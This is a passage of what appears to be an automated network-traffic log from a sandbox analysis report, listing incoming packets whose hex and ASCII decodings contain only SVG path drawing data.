30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d Data Ascii: .13-1.36,3,3,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M653.42,259.54a2.16,2.16,0,0,1-1.1,2.75,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M
2023-05-31 12:52:08 UTC	6057	IN	Data Raw: 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 38 38 2e 31 35 2c 33 32 30 2e 36 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 Data Ascii: -4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M688.15,320.61a2.15,2.15,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9"
2023-05-31 12:52:08 UTC	6073	IN	Data Raw: 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 32 32 2e 38 39 2c 33 38 31 2e 36 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 32 33 2c 33 37 33 61 32 2e 31 36 Data Ascii: ,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M722.89,381.68a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.81,2.81,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M723,373a2.16
2023-05-31 12:52:08 UTC	6089	IN	Data Raw: 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 36 32 2c 34 34 32 2e 37 36 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 37 2c 34 33 34 2e 30 38 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c Data Ascii: ,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M757.62,442.76a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M757.7,434.08a2.15,2.15,0,0,1-1.09,2.75,
2023-05-31 12:52:08 UTC	6105	IN	Data Raw: 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 37 2c 32 36 30 2e 37 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 37 38 2c 32 35 32 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c Data Ascii: 2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M785.7,260.71a2.15,2.15,0,0,1-1.09,2.75,3.15,3.15,0,0,1-4.13-1.35,3,3,0,0,1,.8-3.58,2.81,2.81,0,0,1,3.62.19,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M785.78,252a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,
2023-05-31 12:52:08 UTC	6121	IN	Data Raw: 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 32 30 2e 34 34 2c 33 32 31 2e 37 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 32 30 2e 35 31 2c 33 31 33 2e 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 Data Ascii: ath class="cls-9" d="M820.44,321.78a2.16,2.16,0,0,1-1.1,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M820.51,313.1a2.15,2.15,0,0,1-1.09,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.7
2023-05-31 12:52:08 UTC	6137	IN	Data Raw: 22 4d 38 35 35 2e 31 37 2c 33 38 32 2e 38 36 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 35 35 2e 32 35 2c 33 37 34 2e 31 38 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c Data Ascii: "M855.17,382.86a2.15,2.15,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M855.25,374.18a2.15,2.15,0,0,1-1.09,2.75,3.16,3.16,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,
2023-05-31 12:52:08 UTC	6153	IN	Data Raw: 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 33 2e 36 31 2e 32 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 39 30 2c 34 33 35 2e 32 35 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 2f 3e 3c 70 61 74 Data Ascii: .1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.8-3.58,2.8,2.8,0,0,1,3.61.2,2.64,2.64,0,0,1,0,3.57"/><path class="cls-9" d="M890,435.25a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.63,2.63,0,0,1,0,3.57"/><pat
2023-05-31 12:52:08 UTC	6169	IN	Data Raw: 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 31 38 2e 30 36 2c 32 35 33 2e 32 31 41 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2c 39 31 37 2c 32 35 36 61 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 Data Ascii: 0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M918.06,253.21A2.15,2.15,0,0,1,917,256a3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3
2023-05-31 12:52:08 UTC	6185	IN	Data Raw: 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 35 32 2e 38 2c 33 31 34 2e 32 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 33 2e 36 31 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 Data Ascii: ,0,0,1-4.13-1.35,3,3,0,0,1,.8-3.58,2.81,2.81,0,0,1,3.62.19,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M952.8,314.28a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.8-3.58,2.8,2.8,0,0,1,3.61.19,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9
2023-05-31 12:52:08 UTC	6201	IN	Data Raw: 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 2e 35 38 2c 32 35 31 2e 36 33 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 2e 32 38 2c 32 34 32 2e 38 35 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 Data Ascii: 2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M59.58,251.63a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M59.28,242.85a2.18,2.18,0,0
2023-05-31 12:52:08 UTC	6217	IN	Data Raw: 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 39 37 2c 33 30 33 2e 30 39 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d Data Ascii: 8,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M97,303.09a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-
2023-05-31 12:52:08 UTC	6233	IN	Data Raw: 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 31 37 2e 35 36 2c 31 31 37 2e 38 33 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 31 37 2e 32 36 2c 31 30 39 2e 30 35 61 32 2e 31 38 2c 32 2e 31 38 2c Data Ascii: 6,2.86,2.86,0,0,1,3.67,0,2.67,2.67,0,0,1,.19,3.61"/><path class="cls-7" d="M117.56,117.83a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M117.26,109.05a2.18,2.18,
2023-05-31 12:52:08 UTC	6249	IN	Data Raw: 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 35 35 2e 33 31 2c 31 37 38 2e 30 38 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2c 30 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 35 35 2c 31 Data Ascii: 1.2,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M155.31,178.08a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.2,3,3,0,0,1,.65-3.65,2.84,2.84,0,0,1,3.66,0,2.67,2.67,0,0,1,.2,3.62"/><path class="cls-7" d="M155,1
2023-05-31 12:52:08 UTC	6265	IN	Data Raw: 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 39 33 2e 30 37 2c 32 33 38 2e 33 32 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 39 32 2e 37 37 2c 32 32 39 2e 35 34 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c Data Ascii: 0,2.68,2.68,0,0,1,.2,3.61"/><path class="cls-7" d="M193.07,238.32a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M192.77,229.54a2.17,2.17,0,0,1-1,2.83,3.18,
2023-05-31 12:52:08 UTC	6281	IN	Data Raw: 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 33 30 2e 38 33 2c 32 39 38 2e 35 37 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 33 30 2e 35 Data Ascii: 1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M230.83,298.57a2.19,2.19,0,0,1-1,2.83,3.2,3.2,0,0,1-4.23-1.2,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M230.5
2023-05-31 12:52:08 UTC	6297	IN	Data Raw: 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 35 31 2e 33 35 2c 31 31 33 2e 33 31 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d Data Ascii: 3-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M251.35,113.31a2.17,2.17,0,0,1-1,2.82,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M
2023-05-31 12:52:09 UTC	6313	IN	Data Raw: 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 38 39 2e 31 2c 31 37 33 2e 35 35 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 Data Ascii: 1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.86,2.86,0,0,1,3.67.05,2.68,2.68,0,0,1,.2,3.61"/><path class="cls-7" d="M289.1,173.55a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.66,2.84,2.84,0,0,1,3.66.05,2.66,2.66,0,0,1,.2,3.61"/><path class="
